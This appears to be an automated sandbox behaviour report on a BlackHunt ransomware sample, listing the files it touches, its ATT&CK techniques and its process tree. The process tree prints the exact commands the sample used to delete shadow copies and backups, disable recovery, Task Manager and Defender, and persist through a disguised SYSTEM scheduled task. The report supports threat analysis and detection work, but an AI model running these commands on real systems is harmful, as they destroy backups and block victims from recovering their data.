File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dubai	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitemask1047.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Aqtobe	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Nauru	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs-nio2.xml	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\.lastModified	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-snaptracer.xml	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Ushuaia	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Hobart	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_Private.key	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotslightoverlay.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Rio_Gallegos	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files (x86)\Reference Assemblies\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCallbacks.h	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_SelectionSubpicture.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\soniccolorconverter.ax	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\colorcycle.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tahiti	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\THANKS.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-bullet.png	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_de.properties	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tongatapu	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2856	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2900	vssadmin.exe
3032	vssadmin.exe
2272	vssadmin.exe
1104	vssadmin.exe
2604	vssadmin.exe
3184	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1312	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3996	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1116	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeRestorePrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeBackupPrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeTakeOwnershipPrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeAuditPrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeSecurityPrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeIncBasePriorityPrivilege	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Token: SeBackupPrivilege	320	conhost.exe
Token: SeRestorePrivilege	320	conhost.exe
Token: SeAuditPrivilege	320	conhost.exe
Token: SeBackupPrivilege	2908	reg.exe
Token: SeRestorePrivilege	2908	reg.exe
Token: SeSecurityPrivilege	2908	reg.exe
Token: SeSecurityPrivilege	4000	wevtutil.exe
Token: SeBackupPrivilege	4000	wevtutil.exe
Token: SeSecurityPrivilege	4020	wevtutil.exe
Token: SeBackupPrivilege	4020	wevtutil.exe
Token: SeSecurityPrivilege	3772	wevtutil.exe
Token: SeBackupPrivilege	3772	wevtutil.exe
Token: SeSecurityPrivilege	3124	wevtutil.exe
Token: SeBackupPrivilege	3124	wevtutil.exe
Token: SeSecurityPrivilege	4084	wevtutil.exe
Token: SeBackupPrivilege	4084	wevtutil.exe
Token: SeDebugPrivilege	1312	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 3068	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	155
PID 1372 wrote to memory of 3068	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	155
PID 1372 wrote to memory of 3068	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	155
PID 1372 wrote to memory of 3068	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	155
PID 1372 wrote to memory of 2536	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	153
PID 1372 wrote to memory of 2536	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	153
PID 1372 wrote to memory of 2536	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	153
PID 1372 wrote to memory of 2536	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	153
PID 1372 wrote to memory of 2092	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	151
PID 1372 wrote to memory of 2092	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	151
PID 1372 wrote to memory of 2092	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	151
PID 1372 wrote to memory of 2092	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	151
PID 1372 wrote to memory of 3048	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	28
PID 1372 wrote to memory of 3048	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	28
PID 1372 wrote to memory of 3048	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	28
PID 1372 wrote to memory of 3048	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	28
PID 3068 wrote to memory of 2896	3068	cmd.exe	148
PID 3068 wrote to memory of 2896	3068	cmd.exe	148
PID 3068 wrote to memory of 2896	3068	cmd.exe	148
PID 1372 wrote to memory of 2560	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	146
PID 1372 wrote to memory of 2560	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	146
PID 1372 wrote to memory of 2560	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	146
PID 1372 wrote to memory of 2560	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	146
PID 1372 wrote to memory of 2660	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	144
PID 1372 wrote to memory of 2660	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	144
PID 1372 wrote to memory of 2660	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	144
PID 1372 wrote to memory of 2660	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	144
PID 1372 wrote to memory of 2720	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	142
PID 1372 wrote to memory of 2720	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	142
PID 1372 wrote to memory of 2720	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	142
PID 1372 wrote to memory of 2720	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	142
PID 1372 wrote to memory of 2608	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	140
PID 1372 wrote to memory of 2608	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	140
PID 1372 wrote to memory of 2608	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	140
PID 1372 wrote to memory of 2608	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	140
PID 2536 wrote to memory of 2952	2536	cmd.exe	138
PID 2536 wrote to memory of 2952	2536	cmd.exe	138
PID 2536 wrote to memory of 2952	2536	cmd.exe	138
PID 2092 wrote to memory of 2464	2092	cmd.exe	137
PID 2092 wrote to memory of 2464	2092	cmd.exe	137
PID 2092 wrote to memory of 2464	2092	cmd.exe	137
PID 1372 wrote to memory of 1132	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	136
PID 1372 wrote to memory of 1132	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	136
PID 1372 wrote to memory of 1132	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	136
PID 1372 wrote to memory of 1132	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	136
PID 1372 wrote to memory of 2336	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	134
PID 1372 wrote to memory of 2336	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	134
PID 1372 wrote to memory of 2336	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	134
PID 1372 wrote to memory of 2336	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	134
PID 1372 wrote to memory of 2808	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	133
PID 1372 wrote to memory of 2808	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	133
PID 1372 wrote to memory of 2808	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	133
PID 1372 wrote to memory of 2808	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	133
PID 1372 wrote to memory of 2480	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	131
PID 1372 wrote to memory of 2480	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	131
PID 1372 wrote to memory of 2480	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	131
PID 1372 wrote to memory of 2480	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	131
PID 1372 wrote to memory of 2740	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	222
PID 1372 wrote to memory of 2740	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	222
PID 1372 wrote to memory of 2740	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	222
PID 1372 wrote to memory of 2740	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	222
PID 1372 wrote to memory of 2520	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	127
PID 1372 wrote to memory of 2520	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	127
PID 1372 wrote to memory of 2520	1372	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe	127

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
"C:\Users\Admin\AppData\Local\Temp\5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1132
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
      4⤵
      PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3032
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
      4⤵
      PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe" /F
  2⤵
  PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2740
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
